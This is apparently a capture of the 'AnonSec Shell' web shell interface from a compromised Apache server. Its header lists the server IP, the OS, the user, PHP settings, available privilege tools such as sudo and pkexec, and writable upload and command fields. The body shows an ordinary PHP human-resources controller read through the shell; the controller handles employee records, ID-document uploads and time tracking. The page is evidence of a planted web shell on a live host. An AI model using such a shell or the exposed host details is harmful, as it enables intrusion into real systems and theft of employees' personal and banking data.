AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.103
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/meridional/application/plugins/module_hr/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/meridional/application/plugins/module_hr/controllers/hr.php
<?php
 
_auth();

$dir = "application/plugins/module_hr";

$ui->assign('_application_menu', "stock_module");
$ui->assign('_title', $_L['Stock module'].' - '. $config['CompanyName']);
$action = $routes['2'];
$user = User::_info();
$ui->assign('user', $user);
$ui->assign('_st', $_L['Stock module']);



switch ($action) {
    case 'point':

        $gs = ORM::for_table('module_hr_points')
                    ->raw_query('select max(id) as id
                                  from module_hr_points a
                                  where func = 1000')
                    ->find_many();

        if(!empty($gs[0]['id'])){
            $gs = ORM::for_table('module_hr_points')
                    ->raw_query('select id,
                                  cast(a.date as date) as date_,
                                       a.time_entry as entry_,
                                       a.time_out as out_
                                  from module_hr_points a
                                  where func = 1000
                                    and id = '.$gs[0]['id'].'
                                group by id')
                    ->find_many();

            if(empty($gs[0]['out_'])){
                $ui->assign('status', $_L['Out Point']);
                $ui->assign('id_point', $gs[0]['id']);
            }else{
                $ui->assign('status', $_L['Entry Point']);  
                $ui->assign('id_point', '');  
            }
        }else{
            $ui->assign('status', $_L['Entry Point']);
            $ui->assign('id_point', '');
        }

        $mode_css = Asset::css('footable/css/footable.core.min');
        $mode_js = Asset::js(array('footable/js/footable.all.min', 'contacts/mode_search'));

         $ui->assign('xheader', $mode_css.'<link rel="stylesheet" type="text/css" href="'.$dir.'/assets/css/bottom_bar.css"/><link rel="stylesheet" type="text/css" href="' . $dir . '/assets/css/default.css">');

        $ui->assign('xfooter', $mode_js .
        '<script type="text/javascript" src="' . $dir . '/assets/js/canvas_clock.js"></script><script type="text/javascript" src="' . $dir . '/assets/js/points.js"></script>'.'<script type="text/javascript" src="'.$dir.'/assets/js/bottom_bar.js"></script>');

        $allPoints = ORM::for_table('module_hr_points')->where('func', 1000)->find_array();
        $ui->assign('allPoints', $allPoints);

        $ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
         ');

        $paginator = Paginator::bootstrap('module_hr_points');

        $valMax = ORM::for_table('module_hr_points')
            ->raw_query('select SUM(timediff(time_out, time_entry)) AS hrs
                           from module_hr_points
                          where func = 1000')
            ->find_many();

        $ui->assign('config', $config);
        $ui->assign('dir', $dir);
        $ui->assign('totalSalary', $valMax[0]['hrs']);
        $ui->assign('qtdFuncs', 2);
        $ui->assign('paginator', $paginator);

        $ui->assign('_include', $action);
        $ui->display('wrapper.tpl');

        break;
    case 'sector':

        // find all groups

        $gs = ORM::for_table('module_hr_sectors')->order_by_asc('name')->find_array();

        $ui->assign('gs', $gs);

        $ui->assign('xfooter', '<script type="text/javascript" src="' . $dir . '/assets/js/sectors.js">');

        $ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
         ');
        $ui->assign('_include', $action);
        $ui->display('wrapper.tpl');

        break;
    case 'function':

        // find all groups

        $gs = ORM::for_table('module_hr_functions')->order_by_asc('name')->find_array();

        $ui->assign('gs', $gs);

        $ui->assign('xfooter', '<script type="text/javascript" src="' . $dir . '/assets/js/functions.js">');

        $ui->assign('jsvar', '
        _L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
         ');
        $ui->assign('_include', $action);
        $ui->display('wrapper.tpl');
        break;
    case 'list':
        $name = _post('name');

        $mode_css = '';
        $mode_js = '';

        if ($config['contact_set_view_mode'] == 'search') {

            // Foo Table

            $mode_css = Asset::css('footable/css/footable.core.min');

            $mode_js = Asset::js(array('footable/js/footable.all.min', 'contacts/mode_search'));

            $d = ORM::for_table('crm_accounts')->order_by_desc('id')->find_many();

            $d = ORM::for_table('crm_accounts')
                                ->table_alias('c')
                                ->select('c.*')
                                ->left_outer_join('crm_accounts_groups', array('c.id', '=', 'g.crm_accounts_id'), 'g')
                                ->where('g.crm_group_id', 5)
                                ->order_by_desc('id')->find_array();

            $paginator['contents'] = '';
        } elseif ($name != '') {
            $paginator = Paginator::bootstrap('crm_accounts', 'account', '%' . $name . '%');
            $d = ORM::for_table('crm_accounts')->where_like('account', '%' . $name . '%')->offset($paginator['startpoint'])->limit($paginator['limit'])->order_by_desc('id')->find_many();
        } elseif (isset($routes[2]) AND ( $routes[2]) != '' AND ( !is_numeric($routes[2]))) {
            $tags = $routes[2];
            $paginator['contents'] = '';
            $d = ORM::for_table('crm_accounts')->where_like('tags', '%' . $tags . '%')->order_by_desc('id')->find_many();
        } else {
            $paginator = Paginator::bootstrap('crm_accounts');
            $d = ORM::for_table('crm_accounts')->offset($paginator['startpoint'])->limit($paginator['limit'])->order_by_desc('id')->find_many();
        }

        $totalFuncsQtd = ORM::for_table('crm_accounts')
                            ->table_alias('c')
                            ->select('c.*')
                            ->left_outer_join('crm_accounts_groups', array('c.id', '=', 'g.crm_accounts_id'), 'g')
                            ->where('g.crm_group_id', 5)
                            ->order_by_desc('id')->find_array();
        $qtdFuncs = sizeof($totalFuncsQtd);
        $valMax = ORM::for_table('module_hr_compl_data')
                    ->raw_query('select CAST( SUM(func_salary) AS DECIMAL(10,2)) as qtd
                                  from module_hr_compl_data')
                    ->find_many();

        $totalSalary = $valMax[0]['qtd'];
        $ui->assign('d', $d);
        $ui->assign('config', $config);
        $ui->assign('dir', $dir);
        $ui->assign('totalSalary', $totalSalary);
        $ui->assign('qtdFuncs', $qtdFuncs);
        $ui->assign('paginator', $paginator);

        $ui->assign('xheader', $mode_css.'<link rel="stylesheet" type="text/css" href="'.$dir.'/assets/css/bottom_bar.css"/>');


        $ui->assign('xfooter', $mode_js .
        '<script type="text/javascript" src="' . $_theme . '/lib/list-contacts.js"></script>'.'<script type="text/javascript" src="'.$dir.'/assets/js/bottom_bar.js"></script>');
        $ui->assign('jsvar', '
            _L[\'are_you_sure\'] = \'' . $_L['are_you_sure'] . '\';
        ');

        $ui->assign('_include', $action);
        $ui->display('wrapper.tpl');
        
        break;
    case 'add':

        $css_arr = array('s2/css/select2.min', 'modal', 'dp/dist/datepicker.min', 'redactor/redactor');
        $js_arr = array('redactor/redactor.min', 'modal', 'numeric', 'modal-add-contact', 's2/js/select2.min', 's2/js/i18n/' . lan(), 'dp/dist/datepicker.min', '/../../theme/lrsys/lib/jquery.maskMoney.min', 'dp/i18n/' . $config['language'], 'add-contact');


        $ui->assign('xheader', Asset::css($css_arr).'<link rel="stylesheet" type="text/css" href="' . $dir . '/assets/css/default.css"><link rel="stylesheet" type="text/css" href="ui/lib/dropzone/dropzone.css">');
        $ui->assign('xfooter', Asset::js($js_arr).'<script type="text/javascript" src="' . $dir . '/assets/js/default.js"></script><script type="text/javascript" src="ui/lib/dropzone/dropzone.js"></script>');

        //CARREGA A LISTA DE estados
        $e = ORM::for_table('state')->order_by_asc('state_name')->find_many();
        $cost_center = ORM::for_table('module_billing_cost_center')->order_by_asc('name')->find_many();
        $ui->assign('state', $e);
        $ui->assign('cost_center', $cost_center);
        $ui->assign('screen', '1');
        $ui->assign('_include', $action);
        $ui->display('wrapper.tpl');
        break;
    case 'add-post':

        $msg = '';

        if(empty(_post('dt'))){
            $d = ORM::for_table('crm_accounts')->create();
        }else{
            $d = ORM::for_table('crm_accounts')->find_one(_post('dt'));
        }

        $d->account = _post('account');
        $d->kind_of_person = null;
        $d->company = null;
        $d->code = _post('code');
        $d->cpf_cnpj = _post('cpf');
        $cpfCnpjTipo = 'CPF';
        $d->country = 'Brazil';
        $d->rg = _post('rg');
        if (!empty(_post('date_of_birth')))
            $d->date_of_birth =  implode("-",array_reverse(explode("/",_post('date_of_birth'))));
        
        if ($d->currency == '')
            $d->currency = '0';

        $password = _post('password');
        $cpassword = _post('cpassword');
        $u_password = '';

        //valida tamanho da senha
        if ($password != '') {
            if (!Validator::Length($password, 15, 5)) {
                $msg .= $_L['Password should be between 6 to 15 characters'] . '<br>';
            }
            $u_password = $password;
            $password = Password::_crypt($password);
        }

        $d->foreign_doc_identification = null;
        $d->taxpayer = null;
        $d->ie = null;
        $d->im = null;
        $d->email = _post('email');
        $d->email_nfe = null;

        $d->phone = _post('phone');
        $d->fax = _post('fax');
        $d->cell_phone = _post('cell_phone');
        $d->web_site = _post('web_site');
        $d->currency = null;
        $d->country = null;
        $d->notes = null;

        $d->marital_status = null;
        $d->jobtitle = null;
        $d->sex = _post('sex');
                
        $d->crt = null;
        $d->inscription_suframa = null;

        $d->credit_limit = null;

        if ($d->account == '') {
            $msg .= $_L['Name'] . $_L['is required'];
        }

        if ($d->cpf_cnpj != '') {
            $f = ORM::for_table('crm_accounts')->where('cpf_cnpj', $d->cpf_cnpj)->find_one();
            if ($f && empty(_post('dt'))) {
                $msg .= $d->cpf_cnpj. $_L['Exists'] . ' <br>';
            }
        }else{
            $msg .= 'CPF '. $_L['is required'];
        }


        if ($msg != '') {
            echo ($msg);
            die();
        }else{

            if(!empty($password))
                $d->password = $password;

            $d->fname = '';
            $d->lname = '';
            $d->cid = '0';
            $d->o = '0';
            $d->balance = '0.00';
            $d->status = 'Active';
            $d->token = '';
            $d->ts = '';
            $d->web = '';
            $d->facebook = '';
            $d->google = '';
            $d->linkedin = '';
            $d->father_name = _post('father_name');
            $d->mother_name = _post('mother_name');
            $d->save();

            //Pega id func
            $cid = $d->id();

            if(empty(_post('dt'))){
                $dataGroup = ORM::for_table('crm_accounts_groups')->create();
                $dataGroup->crm_accounts_id = $cid;
                $dataGroup->crm_group_id = 5;
                $dataGroup->save();
            }
            
            //salva o endereço do funcionario
            if(empty(_post('dt'))){
                $address = ORM::for_table('crm_accounts_address')->create();
            }else{
                $address = ORM::for_table('crm_accounts_address')->where('crm_account_id', _post('dt'))->find_one();
            }
            
            //recebe os dados do endereço
            if (intval(_post('state'))) {
                $address->state_id = _post('state');
            }

            if (intval(_post('city')) > 0) {
                $address->city_id = _post('city');
            }
            $address->zip = _post('zip');
            $address->address = _post('address');
            $address->neighborhood = _post('neighborhood');
            $address->number = _post('number');
            $address->complement = _post('complement');
            $address->type_address = "tax_address";
            $address->crm_account_id = $cid;
            $address->save();

            //Validar se o usuário vai receber email

            // $send_client_signup_email = _post('send_client_signup_email');


            // if (($d->email != '') && ($send_client_signup_email == 'Yes') && ($u_password != '')) {

            //     $email_data = array();
            //     $email_data['account'] = $d->account;
            //     $email_data['company'] = $d->company;
            //     $email_data['password'] = $u_password;
            //     $email_data['email'] = $d->email;

            //     $send_email = Ib_Email::send_client_welcome_email($email_data);
            // }

            //--Inicio dados complementares..
            if(! empty(_post('dt_ctps'))){
                $dtCtps = implode("-",array_reverse(explode("/",_post('dt_ctps'))));
            }else{
                $dtCtps = NULL;
            }

            if(! empty(_post('func_dt_admss'))){
                $dtAdmss = implode("-",array_reverse(explode("/",_post('func_dt_admss'))));
            }else{
                $dtAdmss = NULL;
            }

                
            $civil = (_post('civil'))? intval(_post('civil')) : null;
            $skin = (_post('skin'))? intval(_post('skin')) : null;
            $sector_m = (_post('sector_m'))? intval(_post('sector_m')) : null;
            $function_m = (_post('function_m'))? intval(_post('function_m')) : null;
            $num_reservista = (_post('num_reservista'))? intval(_post('num_reservista')) : null;
            $num_ctps = (_post('num_ctps'))? intval(_post('num_ctps')) : null;
            $uf_ctps = (_post('uf_ctps'))? intval(_post('uf_ctps')) : null;
            $pis = (_post('pis'))? intval(_post('pis')) : null;
            $rg_uf = (_post('rg_uf'))? intval(_post('rg_uf')) : null;
            $dgr_instruction = (_post('dgr_instruction'))? intval(_post('dgr_instruction')) : null;
            $num_titulo_eleit = (_post('num_titulo_eleit'))? intval(_post('num_titulo_eleit')) : null;
            $cnh = (_post('cnh'))? intval(_post('cnh')) : null;
            $cat_cnh = (_post('cat_cnh'))? intval(_post('cat_cnh')) : null;
            $bank = (_post('bank'))? intval(_post('bank')) : null;
            $bank_cc = (_post('bank_cc'))? intval(_post('bank_cc')) : null;
            $bank_dg = (_post('bank_dg'))? intval(_post('bank_dg')) : null;
            $bank_ag = (_post('bank_ag'))? intval(_post('bank_ag')) : null;
            $payment_type = (_post('payment_type'))? intval(_post('payment_type')) : null;
            $cost_center = (_post('cost_center'))? intval(_post('cost_center')) : null;

            if(empty(_post('dt'))){
                $data_compl = ORM::for_table('module_hr_compl_data')->create();            
            }else{
                $data_compl = ORM::for_table('module_hr_compl_data')->where('func', _post('dt'))->find_one(); 
            }

                $data_compl->func = $cid;
                $data_compl->civil = $civil;
                $data_compl->skin = $skin;
                $data_compl->func_sector = $sector_m;
                $data_compl->func_carg = $function_m;
                $data_compl->func_salary = str_replace($config['currency_code'], "", str_replace(",", "", _post('func_salary')));
                $data_compl->naturalit = _post('naturalit');
                $data_compl->nationalit = _post('nationalit');
                $data_compl->name_conj = _post('name_conj');
                $data_compl->cpf_conj = _post('cpf_conj');
                $data_compl->num_reservista = $num_reservista;
                $data_compl->num_ctps = $num_ctps;
                $data_compl->ser_ctps = _post('ser_ctps');
                $data_compl->uf_ctps = $uf_ctps;
                $data_compl->dt_ctps = $dtCtps;
                $data_compl->pis = $pis;
                $data_compl->rg_org_emiss = _post('rg_org_emiss');
                $data_compl->rg_uf = $rg_uf;
                $data_compl->rg_dt_emiss = $dtCtps;
                $data_compl->dgr_instruction = $dgr_instruction;
                $data_compl->num_titulo_eleit = $num_titulo_eleit;
                $data_compl->zon_titulo_eleit = _post('zon_titulo_eleit');
                $data_compl->sec_titulo_eleit = _post('sec_titulo_eleit');
                $data_compl->cnh = $cnh;
                $data_compl->cat_cnh = $cat_cnh;
                $data_compl->bank = $bank;
                $data_compl->bank_cc = $bank_cc;
                $data_compl->bank_dg = $bank_dg;
                $data_compl->bank_ag = $bank_ag;
                $data_compl->func_dt_admss = $dtAdmss;
                $data_compl->cost_center = $cost_center;
                $data_compl->payment_type = $payment_type;
                $data_compl->save();

            //Trata filhos
            if(_post('qtd_sun') > 0){
                $qtd = _post('qtd_sun');
                $id = 1;
                $del = ORM::for_table('module_hr_suns')->where('func', $cid)->delete_many();
                while($qtd > 0){
                    $data_suns = ORM::for_table('module_hr_suns')->create();
                    $data_suns->func = $cid;
                    $data_suns->nome = _post('nm_sun_'.$id);
                    if(! empty(_post('dt_sun_'.$id))){
                        $dtSun = implode("-",array_reverse(explode("/",_post('dt_sun_'.$id))));
                    }else{
                        $dtSun = NULL;
                    }
                    $data_suns->nascto_dt = $dtSun;
                    $data_suns->nascto_local = _post('lcl_sun_'.$id);
                    $data_suns->livro = _post('liv_sun_'.$id);
                    $data_suns->cartorio = _post('car_sun_'.$id);
                    $data_suns->registro = _post('reg_sun_'.$id);
                    $data_suns->save();
                    $qtd--;
                    $id++;
                }
            }

            //Adiciona o horário de trabalho
                if(_post('ind_dom')){
                        $data_times = ORM::for_table('module_hr_job_journey')->create();
                        $data_times->hr_ini_manha = _post('hr_dom_ini_mn');
                        $data_times->hr_fim_manha = _post('hr_dom_fim_mn');
                        $data_times->hr_ini_tarde = _post('hr_dom_ini_tr');
                        $data_times->hr_fim_tarde = _post('hr_dom_fim_tr');
                        $data_times->ind_dia = 0;
                        $data_times->func = $cid;
                        $data_times->save();
                }

                if(_post('ind_seg')){
                        $data_times = ORM::for_table('module_hr_job_journey')->create();
                        $data_times->hr_ini_manha = _post('hr_seg_ini_mn');
                        $data_times->hr_fim_manha = _post('hr_seg_fim_mn');
                        $data_times->hr_ini_tarde = _post('hr_seg_ini_tr');
                        $data_times->hr_fim_tarde = _post('hr_seg_fim_tr');
                        $data_times->ind_dia = 1;
                        $data_times->func = $cid;
                        $data_times->save();
                }

                if(_post('ind_ter')){
                        $data_times = ORM::for_table('module_hr_job_journey')->create();
                        $data_times->hr_ini_manha = _post('hr_ter_ini_mn');
                        $data_times->hr_fim_manha = _post('hr_ter_fim_mn');
                        $data_times->hr_ini_tarde = _post('hr_ter_ini_tr');
                        $data_times->hr_fim_tarde = _post('hr_ter_fim_tr');
                        $data_times->ind_dia = 2;
                        $data_times->func = $cid;
                        $data_times->save();
                }

                if(_post('ind_qua')){
                        $data_times = ORM::for_table('module_hr_job_journey')->create();
                        $data_times->hr_ini_manha = _post('hr_qua_ini_mn');
                        $data_times->hr_fim_manha = _post('hr_qua_fim_mn');
                        $data_times->hr_ini_tarde = _post('hr_qua_ini_tr');
                        $data_times->hr_fim_tarde = _post('hr_qua_fim_tr');
                        $data_times->ind_dia = 3;
                        $data_times->func = $cid;
                        $data_times->save();
                }

                if(_post('ind_qui')){
                        $data_times = ORM::for_table('module_hr_job_journey')->create();
                        $data_times->hr_ini_manha = _post('hr_qui_ini_mn');
                        $data_times->hr_fim_manha = _post('hr_qui_fim_mn');
                        $data_times->hr_ini_tarde = _post('hr_qui_ini_tr');
                        $data_times->hr_fim_tarde = _post('hr_qui_fim_tr');
                        $data_times->ind_dia = 4;
                        $data_times->func = $cid;
                        $data_times->save();
                }

                if(_post('ind_sex')){
                        $data_times = ORM::for_table('module_hr_job_journey')->create();
                        $data_times->hr_ini_manha = _post('hr_sex_ini_mn');
                        $data_times->hr_fim_manha = _post('hr_sex_fim_mn');
                        $data_times->hr_ini_tarde = _post('hr_sex_ini_tr');
                        $data_times->hr_fim_tarde = _post('hr_sex_fim_tr');
                        $data_times->ind_dia = 5;
                        $data_times->func = $cid;
                        $data_times->save();
                }

                if(_post('ind_sab')){
                        $data_times = ORM::for_table('module_hr_job_journey')->create();
                        $data_times->hr_ini_manha = _post('hr_sab_ini_mn');
                        $data_times->hr_fim_manha = _post('hr_sab_fim_mn');
                        $data_times->hr_ini_tarde = _post('hr_sab_ini_tr');
                        $data_times->hr_fim_tarde = _post('hr_sab_fim_tr');
                        $data_times->ind_dia = 6;
                        $data_times->func = $cid;
                        $data_times->save();
                }

                //imagens..
                $files = ORM::for_table('module_hr_empl_files')
                          ->where('id', _post('id_ref_imgs'))
                          ->find_one();
        
                if(! $files){
                    $files = ORM::for_table('module_hr_empl_files')->create();
                }else{
                    $files = ORM::for_table('module_hr_empl_files')
                            ->find_one(_post('id_ref_imgs'));
                }
                $files->func = $cid;
                $files->save();

            echo "OK_".$files->id;
        
        }
        break;
    case 'sectors':
        $gs = ORM::for_table('module_hr_sectors')->find_many();
        foreach ($gs as $g) {
            $data[] = array(
                'id' => $g->id,
                'name' => $g->name
            );
        }
        echo json_encode($data);
        break;
    case 'add-sector':
        $sector_name = _post('sector_name');

        if ($sector_name != '') {
            
            $c = ORM::for_table('module_hr_sectors')->where('name', $sector_name)->find_one();

            if ($c) {
                ib_die("Setor já cadastrado.");
            }

            $d = ORM::for_table('module_hr_sectors')->create();
            $d->name = $sector_name;
            $d->save();

            echo $d->id();
        } else {
            echo "Favor inserir o nome do Setor";
        }
        break;
    case 'edit-sector':
        $id = _post('id');
        $id = str_replace('e', '', $id);
        $gname = _post('gname');
        //grupos fixos no sistema não pode editar. validação para ação
  

        $d = ORM::for_table('module_hr_sectors')->find_one($id);
        if ($d) {
            $d->name = $gname;
            $d->save();
            echo $d->id;
        }

        break;
    case 'del-sector':
        $id = $routes['3'];
        $id = str_replace('g', '', $id);
        $d = ORM::for_table('module_hr_sectors')->find_one($id);
        if ($d) {
            $d->delete();
        }
        r2(U . 'module_hr/hr/sector/', '', $_L['Data Deleted']);
        break;
   
    case 'add-function':
        $function_name = _post('function_name');

        if ($function_name != '') {

            $c = ORM::for_table('module_hr_functions')->where('name', $function_name)->find_one();

            if ($c) {
                ib_die("Função já cadastrada.");
            }

            $d = ORM::for_table('module_hr_functions')->create();
            $d->name = $function_name;
            $d->save();
            echo $d->id();
        }

        break;
     case 'edit-function':
        $id = _post('id');
        $id = str_replace('e', '', $id);
        $gname = _post('gname');  
        $d = ORM::for_table('module_hr_functions')->find_one($id);
        if ($d) {
            $d->name = $gname;
            $d->save();
            echo $d->id;
        }
    case 'functions':
        $gs = ORM::for_table('module_hr_functions')->find_many();
        foreach ($gs as $g) {
            $data[] = array(
                'id' => $g->id,
                'name' => $g->name
            );
        }
        echo json_encode($data);
        break;
    case 'del-function':
        $id = $routes['3'];
        $id = str_replace('g', '', $id);
        $d = ORM::for_table('module_hr_functions')->find_one($id);
        if ($d) {
            $d->delete();
        }
        r2(U . 'module_hr/hr/function/', '', $_L['Data Deleted']);
        break;
    case 'empl-add-image':

        $typeUpload = $routes['3'];

        (isset($routes['4'])) ? $id = $routes['4'] : $id = "";

        $uploader = new Uploader();
        
        if($typeUpload == 1){
            $typeFile = "empl_cnh";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 2){
            $typeFile = "empl_compr_escola";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 3){
            $typeFile = "empl_compr_residencia";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 4){
            $typeFile = "empl_cpf";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 5){
            $typeFile = "empl_ctps";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 6){
            $typeFile = "empl_exam_med_ocu";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 7){
            $typeFile = "empl_photos";
            $uploader->setDir('application/storage/pics/');
        }else if($typeUpload == 8){
            $typeFile = "empl_reservist";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 9){
            $typeFile = "empl_rg";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }else if($typeUpload == 10){
            $typeFile = "empl_tit_eleitor";
            $uploader->setDir($dir.'/uploads/'.$typeFile.'/');
        }

        $uploader->sameName(false);
        $uploader->setExtensions(array('jpg', 'jpeg', 'png', 'gif', 'pdf'));  //allowed extensions list//
        if ($uploader->uploadFile('file')) {   //txtFile is the filebrowse element name //
            $uploaded = $uploader->getUploadName(); //get uploaded file name, renames on upload//
            $file = $uploaded;
            $msg = "Envio concluído";
            $success = 'Yes';

            $files = ORM::for_table('module_hr_empl_files')
                          ->where('id', $id)
                          ->find_one();
            
            if(! $files){
                $files = ORM::for_table('module_hr_empl_files')->create();
            }else{
                $files = ORM::for_table('module_hr_empl_files')
                        ->find_one($id);
            }

            if($typeUpload == 1){
                if($files->file_cnh != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_cnh);
                }
                $files->file_cnh = $uploaded;
            }else if($typeUpload == 2){
                if($files->file_compr_escolaridade != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_compr_escolaridade);
                }
                $files->file_compr_escolaridade = $uploaded;
            }else if($typeUpload == 3){
                if($files->file_compr_residencia != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_compr_residencia);
                }
                $files->file_compr_residencia = $uploaded;
            }else if($typeUpload == 4){
                if($files->file_cpf != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_cpf);
                }
                $files->file_cpf = $uploaded;
            }else if($typeUpload == 5){
                if($files->file_ctps != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_ctps);
                }
                $files->file_ctps = $uploaded;
            }else if($typeUpload == 6){
                if($files->file_ex_med_ocu_adm != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_ex_med_ocu_adm);
                }
                $files->file_ex_med_ocu_adm = $uploaded;
            }else if($typeUpload == 7){
                if($files->file_pic_employe != ""){
                    // unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_pic_employe);
                    unlink('application/storage/pics/'.$files->file_pic_employe);
                }
                $files->file_pic_employe = $uploaded;
                if($files->func != ''){
                    $d = ORM::for_table('crm_accounts')->find_one($files->func);
                    $d->img = 'application/storage/pics/'.$uploaded;
                    $d->save();
                }
            }else if($typeUpload == 8){
                if($files->file_reservista != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_reservista);
                }
                $files->file_reservista = $uploaded;
            }else if($typeUpload == 9){
                if($files->file_rg != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_rg);
                }
                $files->file_rg = $uploaded;
            }else if($typeUpload == 10){
                if($files->file_tit_eleitor != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_tit_eleitor);
                }
                $files->file_tit_eleitor = $uploaded;
            }
            
            $files->save();

            $id = $files->id;

        } else {//upload failed
            $file = '';
            $msg = $uploader->getMessage();
            $success = 'No';
            $id = '';
        }

        $a = array(
            'success' => $success,
            'msg' => $msg,
            'file' => $file,
            'id' => $id
        );

        header('Content-Type: application/json');

        echo json_encode($a);
        break;
    case 'empl-delete-image':
        $typeUpload = $routes['3'];

        if($typeUpload == 1){
            $typeFile = "empl_cnh";
        }else if($typeUpload == 2){
            $typeFile = "empl_compr_escola";
        }else if($typeUpload == 3){
            $typeFile = "empl_compr_residencia";
        }else if($typeUpload == 4){
            $typeFile = "empl_cpf";
        }else if($typeUpload == 5){
            $typeFile = "empl_ctps";
        }else if($typeUpload == 6){
            $typeFile = "empl_exam_med_ocu";
        }else if($typeUpload == 7){
            $typeFile = "empl_photos";
        }else if($typeUpload == 8){
            $typeFile = "empl_reservist";
        }else if($typeUpload == 9){
            $typeFile = "empl_rg";
        }else if($typeUpload == 10){
            $typeFile = "empl_tit_eleitor";
        }

        $id = _post('id');
        
            $files = ORM::for_table('module_hr_empl_files')
                        ->find_one($id);

            if($typeUpload == 1){
                if($files->file_cnh != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_cnh);
                }
                $files->file_cnh = '';
            }else if($typeUpload == 2){
                if($files->file_compr_escolaridade != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_compr_escolaridade);
                }
                $files->file_compr_escolaridade = '';
            }else if($typeUpload == 3){
                if($files->file_compr_residencia != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_compr_residencia);
                }
                $files->file_compr_residencia = '';
            }else if($typeUpload == 4){
                if($files->file_cpf != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_cpf);
                }
                $files->file_cpf = '';
            }else if($typeUpload == 5){
                if($files->file_ctps != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_ctps);
                }
                $files->file_ctps = '';
            }else if($typeUpload == 6){
                if($files->file_ex_med_ocu_adm != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_ex_med_ocu_adm);
                }
                $files->file_ex_med_ocu_adm = '';
            }else if($typeUpload == 7){
                if($files->file_pic_employe != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_pic_employe);
                }
                $files->file_pic_employe = '';
            }else if($typeUpload == 8){
                if($files->file_reservista != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_reservista);
                }
                $files->file_reservista = '';
            }else if($typeUpload == 9){
                if($files->file_rg != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_rg);
                }
                $files->file_rg = '';
            }else if($typeUpload == 10){
                if($files->file_tit_eleitor != ""){
                    unlink($dir.'/uploads/'.$typeFile.'/'.$files->file_tit_eleitor);
                }
                $files->file_tit_eleitor = '';
            }
            
            $files->save();

        $data = array(
            'status' => "OK",
            'msg' => "Arquivo removido.",
        );

        header('Content-Type: application/json');
        echo json_encode($data);
        break;


    case 'add-point':
        $point_time = _post('time');
        $id = _post('id');
        $c = Contacts::details();

        if ($point_time != '') {
            
            if($id == "")
                $d = ORM::for_table('module_hr_points')->create();
            else
                $d = ORM::for_table('module_hr_points')->create()->find_one($id);
            
            if($id == "")
                $d->time_entry = $point_time;
            else
                $d->time_out = $point_time;
            
            $d->func=$c['id'];
            $d->save();

            echo "OK";
        } else {
            echo "Favor inserir o horário!";
        }

        break;
    case 'edit-point':
        $id = _post('id');
        $id = str_replace('e', '', $id);
        $gname = _post('gname');
        //grupos fixos no sistema não pode editar. validação para ação
  

        $d = ORM::for_table('module_hr_sectors')->find_one($id);
        if ($d) {
            $d->name = $gname;
            $d->save();
            echo $d->id;
        }

        break;
    case 'del-point':
        $id = $routes['3'];
        $id = str_replace('g', '', $id);
        $d = ORM::for_table('module_hr_sectors')->find_one($id);
        if ($d) {
            $d->delete();
        }
        r2(U . 'module_hr/hr/sector/', '', $_L['Data Deleted']);
        break;


    default:
        echo 'action not defined';
}
 

Anon7 - 2022
AnonSec Team